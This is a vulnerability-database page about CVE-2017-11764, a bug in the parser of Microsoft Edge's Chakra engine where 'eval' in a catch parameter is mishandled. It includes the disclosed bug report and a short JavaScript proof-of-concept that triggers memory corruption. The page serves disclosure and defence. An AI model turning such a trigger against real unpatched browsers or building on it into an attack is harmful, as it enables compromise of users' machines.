| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
| Microsoft Edge Chakra - Parser::ParseCatch does not Handle (eval) Exploit | 22 Sep 201700:00 | – | zdt | |
| CVE-2017-11764 | 21 Sep 201700:00 | – | circl | |
| Microsoft Edge scripting engine memory corruption vulnerability | 13 Sep 201700:00 | – | cnvd | |
| Microsoft Edge Chakra ParseCatch Type Confusion (CVE-2017-11764) | 24 Oct 201700:00 | – | checkpoint_advisories | |
| CVE-2017-11764 | 13 Sep 201701:00 | – | cve | |
| CVE-2017-11764 | 13 Sep 201701:00 | – | cvelist | |
| September 12, 2017—KB4038782 (OS Build 14393.1715) | 12 Sep 201707:00 | – | mskb | |
| September 12, 2017—KB4038788 (OS Build 15063.608) | 12 Sep 201707:00 | – | mskb | |
| KLA11098 Multiple vulnerabilities in Microsoft Edge and Microsoft Internet Explorer | 12 Sep 201700:00 | – | kaspersky | |
| Scripting Engine Memory Corruption Vulnerability | 12 Sep 201707:00 | – | mscve |
`Microsoft Edge: Chakra: Parser::ParseCatch doesn't handle "eval"
CVE-2017-11764
In Javascript, the code executed by a direct call to eval shares the caller block's scopes. Chakra handles this from the parser. And there's a bug when it parses "eval" in a catch statement's param.
ParseNodePtr Parser::ParseCatch()
{
...
pnodeCatchScope = StartParseBlock<buildAST>(PnodeBlockType::Regular, isPattern ? ScopeType_CatchParamPattern : ScopeType_Catch);
...
ParseNodePtr pnodePattern = ParseDestructuredLiteral<buildAST>(tkLET, true /*isDecl*/, true /*topLevel*/, DIC_ForceErrorOnInitializer);
...
}
1. "pnodeCatchScope" is a temporary block used to create a scope, and it is not actually inserted into the AST.
2. If the parser meets "eval" in "ParseDestructuredLiteral", it calls "pnodeCatchScope->SetCallsEval".
3. But "pnodeCatchScope" is not inserted into the AST. So the bytecode generator doesn't know it calls "eval", and it can't create scopes properly.
PoC:
function f() {
{
let i;
function g() {
i;
}
try {
throw 1;
} catch ({e = eval('dd')}) {
}
}
}
f();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation